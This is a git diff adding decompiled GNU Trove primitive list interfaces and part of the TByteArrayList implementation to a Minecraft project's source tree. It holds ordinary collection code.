+  public abstract TCharList subList(int paramInt1, int paramInt2);
+  
+  public abstract char[] toArray();
+  
+  public abstract char[] toArray(int paramInt1, int paramInt2);
+  
+  public abstract char[] toArray(char[] paramArrayOfChar);
+  
+  public abstract char[] toArray(char[] paramArrayOfChar, int paramInt1, int paramInt2);
+  
+  public abstract char[] toArray(char[] paramArrayOfChar, int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean forEach(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachDescending(TCharProcedure paramTCharProcedure);
+  
+  public abstract void sort();
+  
+  public abstract void sort(int paramInt1, int paramInt2);
+  
+  public abstract void fill(char paramChar);
+  
+  public abstract void fill(int paramInt1, int paramInt2, char paramChar);
+  
+  public abstract int binarySearch(char paramChar);
+  
+  public abstract int binarySearch(char paramChar, int paramInt1, int paramInt2);
+  
+  public abstract int indexOf(char paramChar);
+  
+  public abstract int indexOf(int paramInt, char paramChar);
+  
+  public abstract int lastIndexOf(char paramChar);
+  
+  public abstract int lastIndexOf(int paramInt, char paramChar);
+  
+  public abstract boolean contains(char paramChar);
+  
+  public abstract TCharList grep(TCharProcedure paramTCharProcedure);
+  
+  public abstract TCharList inverseGrep(TCharProcedure paramTCharProcedure);
+  
+  public abstract char max();
+  
+  public abstract char min();
+}
diff --git a/src/minecraft/gnu/trove/list/TDoubleList.java b/src/minecraft/gnu/trove/list/TDoubleList.java
new file mode 100644
index 0000000..b3ff102
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/TDoubleList.java
@@ -0,0 +1,101 @@
+package gnu.trove.list;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.Serializable;
+import java.util.Random;
+
+public abstract interface TDoubleList
+  extends TDoubleCollection, Serializable
+{
+  public abstract double getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean add(double paramDouble);
+  
+  public abstract void add(double[] paramArrayOfDouble);
+  
+  public abstract void add(double[] paramArrayOfDouble, int paramInt1, int paramInt2);
+  
+  public abstract void insert(int paramInt, double paramDouble);
+  
+  public abstract void insert(int paramInt, double[] paramArrayOfDouble);
+  
+  public abstract void insert(int paramInt1, double[] paramArrayOfDouble, int paramInt2, int paramInt3);
+  
+  public abstract double get(int paramInt);
+  
+  public abstract void set(int paramInt, double paramDouble);
+  
+  public abstract void set(int paramInt, double[] paramArrayOfDouble);
+  
+  public abstract void set(int paramInt1, double[] paramArrayOfDouble, int paramInt2, int paramInt3);
+  
+  public abstract double replace(int paramInt, double paramDouble);
+  
+  public abstract void clear();
+  
+  public abstract boolean remove(double paramDouble);
+  
+  public abstract double removeAt(int paramInt);
+  
+  public abstract void remove(int paramInt1, int paramInt2);
+  
+  public abstract void transformValues(TDoubleFunction paramTDoubleFunction);
+  
+  public abstract void reverse();
+  
+  public abstract void reverse(int paramInt1, int paramInt2);
+  
+  public abstract void shuffle(Random paramRandom);
+  
+  public abstract TDoubleList subList(int paramInt1, int paramInt2);
+  
+  public abstract double[] toArray();
+  
+  public abstract double[] toArray(int paramInt1, int paramInt2);
+  
+  public abstract double[] toArray(double[] paramArrayOfDouble);
+  
+  public abstract double[] toArray(double[] paramArrayOfDouble, int paramInt1, int paramInt2);
+  
+  public abstract double[] toArray(double[] paramArrayOfDouble, int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean forEach(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachDescending(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract void sort();
+  
+  public abstract void sort(int paramInt1, int paramInt2);
+  
+  public abstract void fill(double paramDouble);
+  
+  public abstract void fill(int paramInt1, int paramInt2, double paramDouble);
+  
+  public abstract int binarySearch(double paramDouble);
+  
+  public abstract int binarySearch(double paramDouble, int paramInt1, int paramInt2);
+  
+  public abstract int indexOf(double paramDouble);
+  
+  public abstract int indexOf(int paramInt, double paramDouble);
+  
+  public abstract int lastIndexOf(double paramDouble);
+  
+  public abstract int lastIndexOf(int paramInt, double paramDouble);
+  
+  public abstract boolean contains(double paramDouble);
+  
+  public abstract TDoubleList grep(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract TDoubleList inverseGrep(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract double max();
+  
+  public abstract double min();
+}
diff --git a/src/minecraft/gnu/trove/list/TFloatList.java b/src/minecraft/gnu/trove/list/TFloatList.java
new file mode 100644
index 0000000..988101e
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/TFloatList.java
@@ -0,0 +1,101 @@
+package gnu.trove.list;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.Serializable;
+import java.util.Random;
+
+public abstract interface TFloatList
+  extends TFloatCollection, Serializable
+{
+  public abstract float getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean add(float paramFloat);
+  
+  public abstract void add(float[] paramArrayOfFloat);
+  
+  public abstract void add(float[] paramArrayOfFloat, int paramInt1, int paramInt2);
+  
+  public abstract void insert(int paramInt, float paramFloat);
+  
+  public abstract void insert(int paramInt, float[] paramArrayOfFloat);
+  
+  public abstract void insert(int paramInt1, float[] paramArrayOfFloat, int paramInt2, int paramInt3);
+  
+  public abstract float get(int paramInt);
+  
+  public abstract void set(int paramInt, float paramFloat);
+  
+  public abstract void set(int paramInt, float[] paramArrayOfFloat);
+  
+  public abstract void set(int paramInt1, float[] paramArrayOfFloat, int paramInt2, int paramInt3);
+  
+  public abstract float replace(int paramInt, float paramFloat);
+  
+  public abstract void clear();
+  
+  public abstract boolean remove(float paramFloat);
+  
+  public abstract float removeAt(int paramInt);
+  
+  public abstract void remove(int paramInt1, int paramInt2);
+  
+  public abstract void transformValues(TFloatFunction paramTFloatFunction);
+  
+  public abstract void reverse();
+  
+  public abstract void reverse(int paramInt1, int paramInt2);
+  
+  public abstract void shuffle(Random paramRandom);
+  
+  public abstract TFloatList subList(int paramInt1, int paramInt2);
+  
+  public abstract float[] toArray();
+  
+  public abstract float[] toArray(int paramInt1, int paramInt2);
+  
+  public abstract float[] toArray(float[] paramArrayOfFloat);
+  
+  public abstract float[] toArray(float[] paramArrayOfFloat, int paramInt1, int paramInt2);
+  
+  public abstract float[] toArray(float[] paramArrayOfFloat, int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean forEach(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachDescending(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract void sort();
+  
+  public abstract void sort(int paramInt1, int paramInt2);
+  
+  public abstract void fill(float paramFloat);
+  
+  public abstract void fill(int paramInt1, int paramInt2, float paramFloat);
+  
+  public abstract int binarySearch(float paramFloat);
+  
+  public abstract int binarySearch(float paramFloat, int paramInt1, int paramInt2);
+  
+  public abstract int indexOf(float paramFloat);
+  
+  public abstract int indexOf(int paramInt, float paramFloat);
+  
+  public abstract int lastIndexOf(float paramFloat);
+  
+  public abstract int lastIndexOf(int paramInt, float paramFloat);
+  
+  public abstract boolean contains(float paramFloat);
+  
+  public abstract TFloatList grep(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract TFloatList inverseGrep(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract float max();
+  
+  public abstract float min();
+}
diff --git a/src/minecraft/gnu/trove/list/TIntList.java b/src/minecraft/gnu/trove/list/TIntList.java
new file mode 100644
index 0000000..d5b9856
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/TIntList.java
@@ -0,0 +1,101 @@
+package gnu.trove.list;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.Serializable;
+import java.util.Random;
+
+public abstract interface TIntList
+  extends TIntCollection, Serializable
+{
+  public abstract int getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean add(int paramInt);
+  
+  public abstract void add(int[] paramArrayOfInt);
+  
+  public abstract void add(int[] paramArrayOfInt, int paramInt1, int paramInt2);
+  
+  public abstract void insert(int paramInt1, int paramInt2);
+  
+  public abstract void insert(int paramInt, int[] paramArrayOfInt);
+  
+  public abstract void insert(int paramInt1, int[] paramArrayOfInt, int paramInt2, int paramInt3);
+  
+  public abstract int get(int paramInt);
+  
+  public abstract void set(int paramInt1, int paramInt2);
+  
+  public abstract void set(int paramInt, int[] paramArrayOfInt);
+  
+  public abstract void set(int paramInt1, int[] paramArrayOfInt, int paramInt2, int paramInt3);
+  
+  public abstract int replace(int paramInt1, int paramInt2);
+  
+  public abstract void clear();
+  
+  public abstract boolean remove(int paramInt);
+  
+  public abstract int removeAt(int paramInt);
+  
+  public abstract void remove(int paramInt1, int paramInt2);
+  
+  public abstract void transformValues(TIntFunction paramTIntFunction);
+  
+  public abstract void reverse();
+  
+  public abstract void reverse(int paramInt1, int paramInt2);
+  
+  public abstract void shuffle(Random paramRandom);
+  
+  public abstract TIntList subList(int paramInt1, int paramInt2);
+  
+  public abstract int[] toArray();
+  
+  public abstract int[] toArray(int paramInt1, int paramInt2);
+  
+  public abstract int[] toArray(int[] paramArrayOfInt);
+  
+  public abstract int[] toArray(int[] paramArrayOfInt, int paramInt1, int paramInt2);
+  
+  public abstract int[] toArray(int[] paramArrayOfInt, int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean forEach(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachDescending(TIntProcedure paramTIntProcedure);
+  
+  public abstract void sort();
+  
+  public abstract void sort(int paramInt1, int paramInt2);
+  
+  public abstract void fill(int paramInt);
+  
+  public abstract void fill(int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract int binarySearch(int paramInt);
+  
+  public abstract int binarySearch(int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract int indexOf(int paramInt);
+  
+  public abstract int indexOf(int paramInt1, int paramInt2);
+  
+  public abstract int lastIndexOf(int paramInt);
+  
+  public abstract int lastIndexOf(int paramInt1, int paramInt2);
+  
+  public abstract boolean contains(int paramInt);
+  
+  public abstract TIntList grep(TIntProcedure paramTIntProcedure);
+  
+  public abstract TIntList inverseGrep(TIntProcedure paramTIntProcedure);
+  
+  public abstract int max();
+  
+  public abstract int min();
+}
diff --git a/src/minecraft/gnu/trove/list/TLinkable.java b/src/minecraft/gnu/trove/list/TLinkable.java
new file mode 100644
index 0000000..7f537cd
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/TLinkable.java
@@ -0,0 +1,15 @@
+package gnu.trove.list;
+
+import java.io.Serializable;
+
+public abstract interface TLinkable<T extends TLinkable>
+  extends Serializable
+{
+  public abstract T getNext();
+  
+  public abstract T getPrevious();
+  
+  public abstract void setNext(T paramT);
+  
+  public abstract void setPrevious(T paramT);
+}
diff --git a/src/minecraft/gnu/trove/list/TLongList.java b/src/minecraft/gnu/trove/list/TLongList.java
new file mode 100644
index 0000000..47d27e5
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/TLongList.java
@@ -0,0 +1,101 @@
+package gnu.trove.list;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.Serializable;
+import java.util.Random;
+
+public abstract interface TLongList
+  extends TLongCollection, Serializable
+{
+  public abstract long getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean add(long paramLong);
+  
+  public abstract void add(long[] paramArrayOfLong);
+  
+  public abstract void add(long[] paramArrayOfLong, int paramInt1, int paramInt2);
+  
+  public abstract void insert(int paramInt, long paramLong);
+  
+  public abstract void insert(int paramInt, long[] paramArrayOfLong);
+  
+  public abstract void insert(int paramInt1, long[] paramArrayOfLong, int paramInt2, int paramInt3);
+  
+  public abstract long get(int paramInt);
+  
+  public abstract void set(int paramInt, long paramLong);
+  
+  public abstract void set(int paramInt, long[] paramArrayOfLong);
+  
+  public abstract void set(int paramInt1, long[] paramArrayOfLong, int paramInt2, int paramInt3);
+  
+  public abstract long replace(int paramInt, long paramLong);
+  
+  public abstract void clear();
+  
+  public abstract boolean remove(long paramLong);
+  
+  public abstract long removeAt(int paramInt);
+  
+  public abstract void remove(int paramInt1, int paramInt2);
+  
+  public abstract void transformValues(TLongFunction paramTLongFunction);
+  
+  public abstract void reverse();
+  
+  public abstract void reverse(int paramInt1, int paramInt2);
+  
+  public abstract void shuffle(Random paramRandom);
+  
+  public abstract TLongList subList(int paramInt1, int paramInt2);
+  
+  public abstract long[] toArray();
+  
+  public abstract long[] toArray(int paramInt1, int paramInt2);
+  
+  public abstract long[] toArray(long[] paramArrayOfLong);
+  
+  public abstract long[] toArray(long[] paramArrayOfLong, int paramInt1, int paramInt2);
+  
+  public abstract long[] toArray(long[] paramArrayOfLong, int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean forEach(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachDescending(TLongProcedure paramTLongProcedure);
+  
+  public abstract void sort();
+  
+  public abstract void sort(int paramInt1, int paramInt2);
+  
+  public abstract void fill(long paramLong);
+  
+  public abstract void fill(int paramInt1, int paramInt2, long paramLong);
+  
+  public abstract int binarySearch(long paramLong);
+  
+  public abstract int binarySearch(long paramLong, int paramInt1, int paramInt2);
+  
+  public abstract int indexOf(long paramLong);
+  
+  public abstract int indexOf(int paramInt, long paramLong);
+  
+  public abstract int lastIndexOf(long paramLong);
+  
+  public abstract int lastIndexOf(int paramInt, long paramLong);
+  
+  public abstract boolean contains(long paramLong);
+  
+  public abstract TLongList grep(TLongProcedure paramTLongProcedure);
+  
+  public abstract TLongList inverseGrep(TLongProcedure paramTLongProcedure);
+  
+  public abstract long max();
+  
+  public abstract long min();
+}
diff --git a/src/minecraft/gnu/trove/list/TShortList.java b/src/minecraft/gnu/trove/list/TShortList.java
new file mode 100644
index 0000000..7cb1d95
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/TShortList.java
@@ -0,0 +1,101 @@
+package gnu.trove.list;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.Serializable;
+import java.util.Random;
+
+public abstract interface TShortList
+  extends TShortCollection, Serializable
+{
+  public abstract short getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean add(short paramShort);
+  
+  public abstract void add(short[] paramArrayOfShort);
+  
+  public abstract void add(short[] paramArrayOfShort, int paramInt1, int paramInt2);
+  
+  public abstract void insert(int paramInt, short paramShort);
+  
+  public abstract void insert(int paramInt, short[] paramArrayOfShort);
+  
+  public abstract void insert(int paramInt1, short[] paramArrayOfShort, int paramInt2, int paramInt3);
+  
+  public abstract short get(int paramInt);
+  
+  public abstract void set(int paramInt, short paramShort);
+  
+  public abstract void set(int paramInt, short[] paramArrayOfShort);
+  
+  public abstract void set(int paramInt1, short[] paramArrayOfShort, int paramInt2, int paramInt3);
+  
+  public abstract short replace(int paramInt, short paramShort);
+  
+  public abstract void clear();
+  
+  public abstract boolean remove(short paramShort);
+  
+  public abstract short removeAt(int paramInt);
+  
+  public abstract void remove(int paramInt1, int paramInt2);
+  
+  public abstract void transformValues(TShortFunction paramTShortFunction);
+  
+  public abstract void reverse();
+  
+  public abstract void reverse(int paramInt1, int paramInt2);
+  
+  public abstract void shuffle(Random paramRandom);
+  
+  public abstract TShortList subList(int paramInt1, int paramInt2);
+  
+  public abstract short[] toArray();
+  
+  public abstract short[] toArray(int paramInt1, int paramInt2);
+  
+  public abstract short[] toArray(short[] paramArrayOfShort);
+  
+  public abstract short[] toArray(short[] paramArrayOfShort, int paramInt1, int paramInt2);
+  
+  public abstract short[] toArray(short[] paramArrayOfShort, int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean forEach(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachDescending(TShortProcedure paramTShortProcedure);
+  
+  public abstract void sort();
+  
+  public abstract void sort(int paramInt1, int paramInt2);
+  
+  public abstract void fill(short paramShort);
+  
+  public abstract void fill(int paramInt1, int paramInt2, short paramShort);
+  
+  public abstract int binarySearch(short paramShort);
+  
+  public abstract int binarySearch(short paramShort, int paramInt1, int paramInt2);
+  
+  public abstract int indexOf(short paramShort);
+  
+  public abstract int indexOf(int paramInt, short paramShort);
+  
+  public abstract int lastIndexOf(short paramShort);
+  
+  public abstract int lastIndexOf(int paramInt, short paramShort);
+  
+  public abstract boolean contains(short paramShort);
+  
+  public abstract TShortList grep(TShortProcedure paramTShortProcedure);
+  
+  public abstract TShortList inverseGrep(TShortProcedure paramTShortProcedure);
+  
+  public abstract short max();
+  
+  public abstract short min();
+}
diff --git a/src/minecraft/gnu/trove/list/array/TByteArrayList.java b/src/minecraft/gnu/trove/list/array/TByteArrayList.java
new file mode 100644
index 0000000..ca32005
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/array/TByteArrayList.java
@@ -0,0 +1,1013 @@
+package gnu.trove.list.array;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.list.TByteList;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+import java.util.Random;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteArrayList
+  implements TByteList, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected byte[] _data;
+  protected int _pos;
+  protected static final int DEFAULT_CAPACITY = 10;
+  protected byte no_entry_value;
+  
+  public TByteArrayList()
+  {
+    this(10, (byte)0);
+  }
+  
+
+
+
+
+
+
+
+  public TByteArrayList(int capacity)
+  {
+    this(capacity, (byte)0);
+  }
+  
+
+
+
+
+
+
+
+  public TByteArrayList(int capacity, byte no_entry_value)
+  {
+    _data = new byte[capacity];
+    _pos = 0;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+  public TByteArrayList(TByteCollection collection)
+  {
+    this(collection.size());
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+
+  public TByteArrayList(byte[] values)
+  {
+    this(values.length);
+    add(values);
+  }
+  
+
+  public byte getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public void ensureCapacity(int capacity)
+  {
+    if (capacity > _data.length) {
+      int newCap = Math.max(_data.length << 1, capacity);
+      byte[] tmp = new byte[newCap];
+      System.arraycopy(_data, 0, tmp, 0, _data.length);
+      _data = tmp;
+    }
+  }
+  
+
+  public int size()
+  {
+    return _pos;
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return _pos == 0;
+  }
+  
+
+
+
+  public void trimToSize()
+  {
+    if (_data.length > size()) {
+      byte[] tmp = new byte[size()];
+      toArray(tmp, 0, tmp.length);
+      _data = tmp;
+    }
+  }
+  
+
+
+
+  public boolean add(byte val)
+  {
+    ensureCapacity(_pos + 1);
+    _data[(_pos++)] = val;
+    return true;
+  }
+  
+
+  public void add(byte[] vals)
+  {
+    add(vals, 0, vals.length);
+  }
+  
+
+  public void add(byte[] vals, int offset, int length)
+  {
+    ensureCapacity(_pos + length);
+    System.arraycopy(vals, offset, _data, _pos, length);
+    _pos += length;
+  }
+  
+
+  public void insert(int offset, byte value)
+  {
+    if (offset == _pos) {
+      add(value);
+      return;
+    }
+    ensureCapacity(_pos + 1);
+    
+    System.arraycopy(_data, offset, _data, offset + 1, _pos - offset);
+    
+    _data[offset] = value;
+    _pos += 1;
+  }
+  
+
+  public void insert(int offset, byte[] values)
+  {
+    insert(offset, values, 0, values.length);
+  }
+  
+
+  public void insert(int offset, byte[] values, int valOffset, int len)
+  {
+    if (offset == _pos) {
+      add(values, valOffset, len);
+      return;
+    }
+    
+    ensureCapacity(_pos + len);
+    
+    System.arraycopy(_data, offset, _data, offset + len, _pos - offset);
+    
+    System.arraycopy(values, valOffset, _data, offset, len);
+    _pos += len;
+  }
+  
+
+  public byte get(int offset)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    return _data[offset];
+  }
+  
+
+
+
+  public byte getQuick(int offset)
+  {
+    return _data[offset];
+  }
+  
+
+  public void set(int offset, byte val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    _data[offset] = val;
+  }
+  
+
+  public byte replace(int offset, byte val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    byte old = _data[offset];
+    _data[offset] = val;
+    return old;
+  }
+  
+
+  public void set(int offset, byte[] values)
+  {
+    set(offset, values, 0, values.length);
+  }
+  
+
+  public void set(int offset, byte[] values, int valOffset, int length)
+  {
+    if ((offset < 0) || (offset + length > _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(values, valOffset, _data, offset, length);
+  }
+  
+
+
+
+  public void setQuick(int offset, byte val)
+  {
+    _data[offset] = val;
+  }
+  
+
+  public void clear()
+  {
+    clear(10);
+  }
+  
+
+
+
+
+  public void clear(int capacity)
+  {
+    _data = new byte[capacity];
+    _pos = 0;
+  }
+  
+
+
+
+
+
+  public void reset()
+  {
+    _pos = 0;
+    Arrays.fill(_data, no_entry_value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void resetQuick()
+  {
+    _pos = 0;
+  }
+  
+
+  public boolean remove(byte value)
+  {
+    for (int index = 0; index < _pos; index++) {
+      if (value == _data[index]) {
+        remove(index, 1);
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public byte removeAt(int offset)
+  {
+    byte old = get(offset);
+    remove(offset, 1);
+    return old;
+  }
+  
+
+  public void remove(int offset, int length)
+  {
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    
+    if (offset == 0)
+    {
+      System.arraycopy(_data, length, _data, 0, _pos - length);
+    }
+    else if (_pos - length != offset)
+    {
+
+
+
+
+      System.arraycopy(_data, offset + length, _data, offset, _pos - (offset + length));
+    }
+    
+    _pos -= length;
+  }
+  
+
+
+
+
+  public TByteIterator iterator()
+  {
+    return new TByteArrayIterator(0);
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Byte)) {
+        byte c = ((Byte)element).byteValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TByteCollection collection)
+  {
+    if (this == collection) {
+      return true;
+    }
+    TByteIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      byte element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(byte[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Byte> collection)
+  {
+    boolean changed = false;
+    for (Byte element : collection) {
+      byte e = element.byteValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TByteCollection collection)
+  {
+    boolean changed = false;
+    TByteIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      byte element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(byte[] array)
+  {
+    boolean changed = false;
+    for (byte element : array) {
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TByteIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Byte.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TByteCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TByteIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(byte[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    byte[] data = _data;
+    
+    for (int i = data.length; i-- > 0;) {
+      if (Arrays.binarySearch(array, data[i]) < 0) {
+        remove(i, 1);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Byte)) {
+        byte c = ((Byte)element).byteValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TByteCollection collection)
+  {
+    if (collection == this) {
+      clear();
+      return true;
+    }
+    boolean changed = false;
+    TByteIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      byte element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(byte[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void transformValues(TByteFunction function)
+  {
+    for (int i = _pos; i-- > 0;) {
+      _data[i] = function.execute(_data[i]);
+    }
+  }
+  
+
+  public void reverse()
+  {
+    reverse(0, _pos);
+  }
+  
+
+  public void reverse(int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(i, j);i++;
+    }
+  }
+  
+
+  public void shuffle(Random rand)
+  {
+    for (int i = _pos; i-- > 1;) {
+      swap(i, rand.nextInt(i));
+    }
+  }
+  
+
+
+
+
+
+
+  private void swap(int i, int j)
+  {
+    byte tmp = _data[i];
+    _data[i] = _data[j];
+    _data[j] = tmp;
+  }
+  
+
+
+
+  public TByteList subList(int begin, int end)
+  {
+    if (end < begin) {
+      throw new IllegalArgumentException("end index " + end + " greater than begin index " + begin);
+    }
+    
+    if (begin < 0) {
+      throw new IndexOutOfBoundsException("begin index can not be < 0");
+    }
+    if (end > _data.length) {
+      throw new IndexOutOfBoundsException("end index < " + _data.length);
+    }
+    TByteArrayList list = new TByteArrayList(end - begin);
+    for (int i = begin; i < end; i++) {
+      list.add(_data[i]);
+    }
+    return list;
+  }
+  
+
+  public byte[] toArray()
+  {
+    return toArray(0, _pos);
+  }
+  
+
+  public byte[] toArray(int offset, int len)
+  {
+    byte[] rv = new byte[len];
+    toArray(rv, offset, len);
+    return rv;
+  }
+  
+
+  public byte[] toArray(byte[] dest)
+  {
+    int len = dest.length;
+    if (dest.length > _pos) {
+      len = _pos;
+      dest[len] = no_entry_value;
+    }
+    toArray(dest, 0, len);
+    return dest;
+  }
+  
+
+  public byte[] toArray(byte[] dest, int offset, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(_data, offset, dest, 0, len);
+    return dest;
+  }
+  
+
+  public byte[] toArray(byte[] dest, int source_pos, int dest_pos, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((source_pos < 0) || (source_pos >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(source_pos);
+    }
+    System.arraycopy(_data, source_pos, dest, dest_pos, len);
+    return dest;
+  }
+  
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (other == this) {
+      return true;
+    }
+    if ((other instanceof TByteArrayList)) {
+      TByteArrayList that = (TByteArrayList)other;
+      if (that.size() != size()) { return false;
+      }
+      for (int i = _pos; i-- > 0;) {
+        if (_data[i] != _data[i]) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int h = 0;
+    for (int i = _pos; i-- > 0;) {
+      h += HashFunctions.hash(_data[i]);
+    }
+    return h;
+  }
+  
+
+
+
+  public boolean forEach(TByteProcedure procedure)
+  {
+    for (int i = 0; i < _pos; i++) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachDescending(TByteProcedure procedure)
+  {
+    for (int i = _pos; i-- > 0;) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  public void sort()
+  {
+    Arrays.sort(_data, 0, _pos);
+  }
+  
+
+  public void sort(int fromIndex, int toIndex)
+  {
+    Arrays.sort(_data, fromIndex, toIndex);
+  }
+  
+
+
+
+  public void fill(byte val)
+  {
+    Arrays.fill(_data, 0, _pos, val);
+  }
+  
+
+  public void fill(int fromIndex, int toIndex, byte val)
+  {
+    if (toIndex > _pos) {
+      ensureCapacity(toIndex);
+      _pos = toIndex;
+    }
+    Arrays.fill(_data, fromIndex, toIndex, val);
+  }
+  
+
+
+
+  public int binarySearch(byte value)
+  {
+    return binarySearch(value, 0, _pos);
+  }
+  
+
+  public int binarySearch(byte value, int fromIndex, int toIndex)
+  {
+    if (fromIndex < 0) {
+      throw new ArrayIndexOutOfBoundsException(fromIndex);
+    }
+    if (toIndex > _pos) {
+      throw new ArrayIndexOutOfBoundsException(toIndex);
+    }
